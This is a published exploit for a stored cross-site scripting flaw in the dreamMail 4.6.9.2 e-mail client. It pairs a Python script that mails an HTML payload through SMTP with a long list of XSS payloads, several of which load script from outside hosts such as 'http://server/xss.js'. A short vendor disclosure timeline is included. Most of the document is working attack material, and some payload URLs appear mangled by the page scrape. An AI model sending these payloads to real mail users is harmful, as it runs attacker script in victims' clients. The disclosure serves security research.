dreamMail e-mail client 4.6.9.2 – Persistent Cross-Site Scripting
#!/usr/bin/python ''' Author: loneferret of Offensive Security Product: dreamMail e-mail client Version: 4.6.9.2 Vendor Site: http://www.dreammail.eu Software Download: http://www.dreammail.eu/intl/en/download.html Tested on: Windows XP SP3 Eng. Tested on: Windows 7 Pro SP1 Eng. dreamMail: Using default settings E-mail client is vulnerable to stored XSS. Either opening or viewing the e-mail and you get an annoying alert box etc etc etc. Injection Point: Body Gave vendor 7 days to reply in order to co-ordinate a release date. Timeline: 16 Aug 2013: Tentative release date 23 Aug 2013 16 Aug 2013: Vulnerability reported to vendor. Provided complete list of payloads. 19 Aug 2013: Still no response. Sent second e-mail. 22 Aug 2013: Got a reply but not from development guy. He seems MIA according to contact. No longer supported due to missing development guy. 23 Aug 2013: Still nothing. 24 Aug 2013: Release ''' import smtplib, urllib2 payload = '''<IMG SRC='vbscript:msgbox("XSS")'>''' def sendMail(dstemail, frmemail, smtpsrv, username, password): msg = "From: hacker@offsec.local\n" msg += "To: victim@offsec.local\n" msg += 'Date: Today\r\n' msg += "Subject: XSS payload\n" msg += "Content-type: text/html\n\n" msg += payload + "\r\n\r\n" server = smtplib.SMTP(smtpsrv) server.login(username,password) try: server.sendmail(frmemail, dstemail, msg) except Exception, e: print "[-] Failed to send email:" print "[*] " + str(e) server.quit() username = "acker@offsec.local" password = "123456" dstemail = "victim@offsec.local" frmemail = "acker@offsec.local" smtpsrv = "xxx.xxx.xxx.xxx" print "[*] Sending Email" sendMail(dstemail, frmemail, smtpsrv, username, password) ''' List of XSS types and different syntaxes to which the client is vulnerable. Each payload will pop a message box, usually with the message "XSS" inside. Paylaod-: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} Paylaod-: <SCRIPT SRC=http://server/xss.js></SCRIPT> Paylaod-: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> Paylaod-: <BODY BACKGROUND="javascript:alert('XSS');"> Paylaod-: <BODY ONLOAD=alert('XSS')> Paylaod-: <DIV STYLE="background-image: url(javascript:alert('XSS'))"> Paylaod-: <DIV STYLE="background-image: url(javascript:alert('XSS'))"> Paylaod-: <DIV STYLE="width: expression(alert('XSS'));"> Paylaod-: <IFRAME SRC="javascript:alert('XSS');"></IFRAME> Paylaod-: <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> Paylaod-: <IMG SRC="javascript:alert('XSS');"> Paylaod-: <IMG SRC=javascript:alert('XSS')> Paylaod-: <IMG DYNSRC="javascript:alert('XSS');"> Paylaod-: <IMG LOWSRC="javascript:alert('XSS');">Paylaod-: 21exp/*<XSS STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'> Paylaod-: <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS Paylaod-: <IMG SRC='vbscript:msgbox("XSS")'> Paylaod-: <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> Paylaod-: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> Paylaod-: <XSS STYLE="xss:expression(alert('XSS'))"> Paylaod-: <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> Paylaod-: <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> Paylaod-: <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> Paylaod-: <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> Paylaod-: <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> Paylaod-: <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> Paylaod-: <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE> Paylaod-: <XML ID=I><X><C><![CDATA[<IMG SRC="https://www.exploit-db.com/exploits/27805/javas]]><![CDATA[cript:alert('XSS');">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> Paylaod-: <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> Paylaod-: <HTML><BODY> <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> Paylaod-: <!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]--> Paylaod-: <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> Paylaod-: <IMG SRC=JaVaScRiPt:alert('XSS')> Paylaod-: <IMG SRC=javascript:alert("XSS")> Paylaod-: <IMG SRC=`javascript:alert("We says, 'XSS'")`> Paylaod-: <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> Paylaod-: <IMG SRC=javascript:alert('XSS')> Paylaod-: <IMG SRC=javascript:alert('XSS')> Paylaod-: <IMG SRC=javascript:alert('XSS')> Paylaod-: <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- Paylaod-: </TITLE><SCRIPT>alert("XSS");</SCRIPT> Paylaod-: <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> Paylaod-: <IMG SRC="https://www.exploit-db.com/exploits/27805/jav ascript:alert('XSS');"> Paylaod-: <IMG SRC="https://www.exploit-db.com/exploits/27805/jav ascript:alert('XSS');"> Paylaod-: <IMG SRC="https://www.exploit-db.com/exploits/27805/jav ascript:alert('XSS');"> Paylaod-: <IMG SRC="https://www.exploit-db.com/exploits/27805/jav ascript:alert('XSS');"> Paylaod-: <IMG SRC="https://www.exploit-db.com/exploits/27805/  javascript:alert('XSS');"> Paylaod-: <SCRIPT/XSS SRC="http://server/xss.js"></SCRIPT> Paylaod-: <SCRIPT SRC=http://server/xss.js Paylaod-: <IMG SRC="javascript:alert('XSS')" Paylaod-: <<SCRIPT>alert("XSS");//<</SCRIPT> Paylaod-: <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> Paylaod-: <SCRIPT>a=/XSS/ alert(a.source)</SCRIPT> Paylaod-: <SCRIPT a=">" SRC="http://server/xss.js"></SCRIPT> Paylaod-: <SCRIPT ="blah" SRC="http://server/xss.js"></SCRIPT> Paylaod-: <SCRIPT a="blah" '' SRC="http://server/xss.js"></SCRIPT> Paylaod-: <SCRIPT "a='>'" SRC="http://server/xss.js"></SCRIPT> Paylaod-: <SCRIPT a=`>` SRC="http://server/xss.js"></SCRIPT> Paylaod-: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://server/xss.js"></SCRIPT> Paylaod-: <SCRIPT a=">'>" SRC="http://server/xss.js"></SCRIPT> ''' |